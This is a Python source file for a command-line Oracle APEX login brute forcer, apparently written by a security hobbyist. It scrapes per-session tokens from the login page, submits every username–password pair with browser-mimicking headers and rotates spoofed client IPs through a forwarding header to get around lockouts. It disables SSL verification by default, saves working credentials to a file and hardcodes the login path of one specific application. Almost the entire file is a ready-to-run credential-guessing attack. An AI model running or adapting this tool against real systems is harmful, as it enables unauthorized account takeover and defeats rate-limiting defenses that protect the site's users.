oab.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
from bs4 import BeautifulSoup
from colorama import Fore, Style, init
import sys
import time
import argparse
import re
import json
import urllib.parse
from urllib.parse import urlparse, quote
import urllib3
import random
from datetime import datetime

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Initialize colorama
init(autoreset=True)

VERSION = "1.0"
PROGRAMMER = "Omid Nasiri (OmidSec)"
LINKEDIN = "https://www.linkedin.com/in/omidsec"
GITHUB = "https://github.com/omidsec"
WEBSITE = "https://omidsec.com"

def banner():
    """Display banner with Iran flag colors"""
    # Iran flag colors: Green, White, Red
    green = Fore.GREEN
    white = Fore.WHITE
    red = Fore.RED
    reset = Style.RESET_ALL
    cyan = Fore.CYAN
    yellow = Fore.YELLOW
    
    banner_text = f"""
{green}
 ██████╗ ██████╗  █████╗  ██████╗██╗     ███████╗     █████╗ ██████╗ ███████╗██╗  ██╗          
██╔═══██╗██╔══██╗██╔══██╗██╔════╝██║     ██╔════╝    ██╔══██╗██╔══██╗██╔════╝╚██╗██╔╝          
██║   ██║██████╔╝███████║██║     ██║     █████╗      ███████║██████╔╝█████╗   ╚███╔╝           
██║   ██║██╔══██╗██╔══██║██║     ██║     ██╔══╝      ██╔══██║██╔═══╝ ██╔══╝   ██╔██╗  {white}         
╚██████╔╝██║  ██║██║  ██║╚██████╗███████╗███████╗    ██║  ██║██║     ███████╗██╔╝ ██╗          
 ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚══════╝╚══════╝    ╚═╝  ╚═╝╚═╝     ╚══════╝╚═╝  ╚═╝          
                                                                                               
██████╗ ██████╗ ██╗   ██╗████████╗███████╗    ███████╗ ██████╗ ██████╗  ██████╗███████╗██████╗ 
██╔══██╗██╔══██╗██║   ██║╚══██╔══╝██╔════╝    ██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝██╔══██╗
██████╔╝██████╔╝██║   ██║   ██║   █████╗█████╗█████╗  ██║   ██║██████╔╝██║     █████╗  ██████╔╝ {red}
██╔══██╗██╔══██╗██║   ██║   ██║   ██╔══╝╚════╝██╔══╝  ██║   ██║██╔══██╗██║     ██╔══╝  ██╔══██╗
██████╔╝██║  ██║╚██████╔╝   ██║   ███████╗    ██║     ╚██████╔╝██║  ██║╚██████╗███████╗██║  ██║ {white} Ver: 1.0 {red}
╚═════╝ ╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚══════╝    ╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚═════╝╚══════╝╚═╝  ╚═╝ 
{reset}

{cyan}─────────────────────────────────────────────────────────────────────────────────────────{reset}
{green}  Version    : {white}{VERSION}{' ' * (40 - len(VERSION) - 12)}
{green}  Programmer : {white}{PROGRAMMER}{' ' * (40 - len(PROGRAMMER) - 12)}
{green}  LinkedIn   : {white}{LINKEDIN}{' ' * (40 - len(LINKEDIN) - 12)}
{green}  GitHub     : {white}{GITHUB}{' ' * (40 - len(GITHUB) - 12)}
{green}  Website    : {white}{WEBSITE}{' ' * (40 - len(WEBSITE) - 12)}
{cyan}─────────────────────────────────────────────────────────────────────────────────────────{reset}
"""
    print(banner_text)

def parse_arguments():
    parser = argparse.ArgumentParser(description='Oracle APEX Login Brute Forcer')
    parser.add_argument('-u', '--url', required=True, help='Login page URL')
    parser.add_argument('--proxy', help='Proxy URL (e.g., http://127.0.0.1:8080)')
    parser.add_argument('--userfile', required=True, help='File containing usernames (one per line)')
    parser.add_argument('--passfile', required=True, help='File containing passwords (one per line)')
    parser.add_argument('-d', '--delay', type=float, default=0, help='Delay between requests in seconds')
    parser.add_argument('-s', '--successful', required=True, help='Success condition: status code (e.g., 302) or text/regex')
    parser.add_argument('--no-verify', action='store_true', default=True, help='Disable SSL verification (enabled by default)')
    parser.add_argument('--verify', action='store_true', help='Enable SSL verification')
    parser.add_argument('--hip', help='Header for IP spoofing (e.g., "X-Forwarded-For" or "X-Real-IP")')
    parser.add_argument('--ipfile', help='File containing IP addresses (one per line)')
    return parser.parse_args()

def load_file(filename):
    try:
        with open(filename, 'r', encoding='utf-8') as f:
            return [line.strip() for line in f if line.strip()]
    except Exception as e:
        print(f"{Fore.RED}[!] Error loading {filename}: {e}{Style.RESET_ALL}")
        sys.exit(1)

def load_ips(filename):
    """Load IPs and return them in a cycling manner"""
    ips = load_file(filename)
    if not ips:
        print(f"{Fore.RED}[!] No IPs found in {filename}{Style.RESET_ALL}")
        sys.exit(1)
    return ips

def get_next_ip(ip_list, index):
    """Get next IP from list in round-robin fashion"""
    return ip_list[index % len(ip_list)]

def extract_values(html_content):
    soup = BeautifulSoup(html_content, 'html.parser')
    
    p_instance_tag = soup.find('input', {'name': 'p_instance'})
    p_instance = p_instance_tag.get('value') if p_instance_tag else None
    
    p_submission_tag = soup.find('input', {'name': 'p_page_submission_id'})
    p_page_submission_id = p_submission_tag.get('value') if p_submission_tag else None
    
    p_protected_tag = soup.find('input', {'id': 'pPageItemsProtected'})
    pPageItemsProtected = p_protected_tag.get('value') if p_protected_tag else None
    
    p_salt_tag = soup.find('input', {'id': 'pSalt'})
    pSalt = p_salt_tag.get('value') if p_salt_tag else None
    
    return {
        'p_instance': p_instance,
        'p_page_submission_id': p_page_submission_id,
        'pPageItemsProtected': pPageItemsProtected,
        'pSalt': pSalt
    }

def check_success(response, success_condition):
    if success_condition.isdigit():
        return response.status_code == int(success_condition)
    
    if success_condition.startswith('r') and (success_condition.startswith("r'") or success_condition.startswith('r"')):
        pattern = success_condition[2:-1]
        return re.search(pattern, response.text) is not None
    
    return success_condition in response.text

def fetch_login_page(url, proxy, verify_ssl, attempt_num=None, ip_header=None, fake_ip=None):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language': 'en,en-US;q=0.9,fa;q=0.8',
        'Accept-Encoding': 'gzip, deflate, br',
        'Dnt': '1',
        'Sec-Gpc': '1',
        'Connection': 'keep-alive',
        'Upgrade-Insecure-Requests': '1'
    }
    
    # Add IP spoofing header if provided
    if ip_header and fake_ip:
        headers[ip_header] = fake_ip
    
    proxies = None
    if proxy:
        proxies = {'http': proxy, 'https': proxy}
    
    try:
        response = requests.get(url, headers=headers, proxies=proxies, timeout=15, verify=verify_ssl)
        response.raise_for_status()
        
        extracted_data = extract_values(response.text)
        if not all(extracted_data.values()):
            return None, None
        
        cookies = response.cookies.get_dict()
        
        fetch_num = f" [#{attempt_num}]" if attempt_num else ""
        print(f"{Fore.CYAN}[FETCH{fetch_num}] Values extracted:{Style.RESET_ALL}")
        print(f"{Fore.GREEN}  ├─ p_instance: {Fore.YELLOW}{extracted_data['p_instance']}{Style.RESET_ALL}")
        print(f"{Fore.GREEN}  ├─ p_page_submission_id: {Fore.YELLOW}{extracted_data['p_page_submission_id'][:50]}...{Style.RESET_ALL}")
        print(f"{Fore.GREEN}  ├─ pPageItemsProtected: {Fore.YELLOW}{extracted_data['pPageItemsProtected'][:50]}...{Style.RESET_ALL}")
        print(f"{Fore.GREEN}  └─ pSalt: {Fore.YELLOW}{extracted_data['pSalt']}{Style.RESET_ALL}")
        print(f"{Fore.CYAN}  └─ Cookie: {Fore.YELLOW}{cookies.get('ORA_WWV_APP_101', 'N/A')}{Style.RESET_ALL}")
        if ip_header and fake_ip:
            print(f"{Fore.CYAN}  └─ {ip_header}: {Fore.YELLOW}{fake_ip}{Style.RESET_ALL}")
        
        return extracted_data, cookies
        
    except Exception as e:
        print(f"{Fore.RED}[!] Error fetching login page: {e}{Style.RESET_ALL}")
        return None, None

def send_login_request(url, proxy, extracted_data, username, password, cookies, success_condition, verify_ssl, ip_header=None, fake_ip=None):
    parsed_url = urlparse(url)
    base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
    
    post_url = f"/ords/wwv_flow.accept?p_context=bs-kanoon/login/{extracted_data['p_instance']}"
    full_post_url = base_url + post_url
    
    # ONLY replace / with %2F
    encoded_submission = extracted_data['p_page_submission_id'].replace('/', '%2F')
    
    json_payload = {
        "pageItems": {
            "itemsToSubmit": [
                {"n": "P9999_USERNAME", "v": username},
                {"n": "P9999_PASSWORD", "v": password},
                {"n": "P9999_REMEMBER", "v": "N"}
            ],
            "protected": extracted_data['pPageItemsProtected'],
            "rowVersion": "",
            "formRegionChecksums": []
        },
        "salt": extracted_data['pSalt']
    }
    
    json_str = json.dumps(json_payload, separators=(',', ':'))
    
    form_data = {
        'p_flow_id': '101',
        'p_flow_step_id': '9999',
        'p_instance': extracted_data['p_instance'],
        'p_debug': '',
        'p_request': 'LOGIN',
        'p_reload_on_submit': 'S',
        'p_page_submission_id': encoded_submission,
        'p_json': json_str
    }
    
    # EXACT headers from real browser with correct order
    headers = {
        'Host': parsed_url.netloc,
        'Cookie': f"ORA_WWV_APP_101={cookies.get('ORA_WWV_APP_101', '')}",
        'Content-Length': str(len(urllib.parse.urlencode(form_data))),
        'Sec-Ch-Ua-Platform': '"Windows"',
        'X-Requested-With': 'XMLHttpRequest',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'Sec-Ch-Ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'Sec-Ch-Ua-Mobile': '?0',
        'Origin': base_url,
        'Sec-Fetch-Site': 'same-origin',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Dest': 'empty',
        'Referer': base_url + '/',
        'Accept-Encoding': 'gzip, deflate, br',
        'Accept-Language': 'en,en-US;q=0.9,fa;q=0.8',
        'Dnt': '1',
        'Sec-Gpc': '1',
        'Priority': 'u=1, i',
        'Connection': 'keep-alive'
    }
    
    # Add IP spoofing header if provided
    if ip_header and fake_ip:
        headers[ip_header] = fake_ip
    
    proxies = None
    if proxy:
        proxies = {'http': proxy, 'https': proxy}
    
    try:
        # Build data string manually
        data_parts = []
        for key, value in form_data.items():
            if key == 'p_page_submission_id':
                data_parts.append(f"{key}={value}")
            elif key == 'p_json':
                data_parts.append(f"{key}={quote(value, safe='')}")
            else:
                data_parts.append(f"{key}={quote(str(value), safe='')}")
        
        data_string = '&'.join(data_parts)
        
        response = requests.post(
            full_post_url,
            headers=headers,
            data=data_string,
            cookies=cookies,
            proxies=proxies,
            timeout=15,
            allow_redirects=False,
            verify=verify_ssl
        )
        
        if check_success(response, success_condition):
            return True, response, username, password
        else:
            return False, response, username, password
            
    except Exception as e:
        print(f"{Fore.RED}[!] Request error: {e}{Style.RESET_ALL}")
        return False, None, username, password

def main():
    # Display banner
    banner()
    
    args = parse_arguments()
    verify_ssl = args.verify if args.verify else False
    
    # Clean up hip header if user added : or spaces
    ip_header = None
    if args.hip:
        ip_header = args.hip.strip()
        if ip_header.endswith(':'):
            ip_header = ip_header[:-1].strip()
        if ':' in ip_header and not ip_header.endswith(':'):
            ip_header = ip_header.split(':')[0].strip()
    
    # Load username list
    print(f"{Fore.CYAN}[*] Loading username list from: {args.userfile}{Style.RESET_ALL}")
    usernames = load_file(args.userfile)
    print(f"{Fore.GREEN}[+] Loaded {len(usernames)} usernames{Style.RESET_ALL}")
    
    # Load password list
    print(f"{Fore.CYAN}[*] Loading password list from: {args.passfile}{Style.RESET_ALL}")
    passwords = load_file(args.passfile)
    print(f"{Fore.GREEN}[+] Loaded {len(passwords)} passwords{Style.RESET_ALL}")
    
    # Load IP list if ipfile is provided
    ip_list = None
    if args.ipfile:
        print(f"{Fore.CYAN}[*] Loading IP list from: {args.ipfile}{Style.RESET_ALL}")
        ip_list = load_ips(args.ipfile)
        print(f"{Fore.GREEN}[+] Loaded {len(ip_list)} IPs{Style.RESET_ALL}")
    
    if args.proxy:
        print(f"{Fore.YELLOW}[*] Using proxy: {args.proxy}{Style.RESET_ALL}")
    
    if ip_header:
        print(f"{Fore.YELLOW}[*] Using header: {ip_header} for IP spoofing{Style.RESET_ALL}")
    
    print(f"{Fore.CYAN}[*] Starting brute force attack...{Style.RESET_ALL}")
    print(f"{Fore.CYAN}[*] Mode: Password fixed, Username changes{Style.RESET_ALL}")
    print(f"{Fore.MAGENTA}{'='*60}{Style.RESET_ALL}")
    
    success_file = open('success.txt', 'a', encoding='utf-8')
    ip_index = 0
    
    # For each password, try all usernames
    for password in passwords:
        for username in usernames:
            # Get next IP for this attempt if IP list is provided
            fake_ip = None
            if ip_list:
                fake_ip = get_next_ip(ip_list, ip_index)
                ip_index += 1
            
            attempt_count = (passwords.index(password) * len(usernames)) + usernames.index(username) + 1
            total_attempts = len(passwords) * len(usernames)
            
            print(f"\n{Fore.YELLOW}[{attempt_count}/{total_attempts}] Testing: {username}:{password}{Style.RESET_ALL}")
            print(f"{Fore.MAGENTA}{'-'*60}{Style.RESET_ALL}")
            
            extracted_data, cookies = fetch_login_page(args.url, args.proxy, verify_ssl, attempt_count, ip_header, fake_ip)
            
            if not extracted_data or not cookies:
                print(f"{Fore.RED}[!] Failed to fetch login page, skipping{Style.RESET_ALL}")
                continue
            
            success, resp, user, passwd = send_login_request(
                args.url, args.proxy, extracted_data, username, password, cookies, args.successful, verify_ssl, ip_header, fake_ip
            )
            
            if success:
                print(f"{Fore.GREEN}[+] SUCCESS! Credentials found: {user}:{passwd}{Style.RESET_ALL}")
                success_file.write(f"{user}:{passwd}\n")
                success_file.flush()
            else:
                status_msg = f"Status: {resp.status_code}" if resp else "No response"
                print(f"{Fore.RED}[-] Failed - {status_msg}{Style.RESET_ALL}")
            
            if args.delay > 0 and attempt_count < total_attempts:
                time.sleep(args.delay)
    
    success_file.close()
    print(f"{Fore.MAGENTA}{'='*60}{Style.RESET_ALL}")
    print(f"{Fore.GREEN}[+] Brute force completed!{Style.RESET_ALL}")
    print(f"{Fore.CYAN}[*] Results saved to: success.txt{Style.RESET_ALL}")

if __name__ == "__main__":
    main()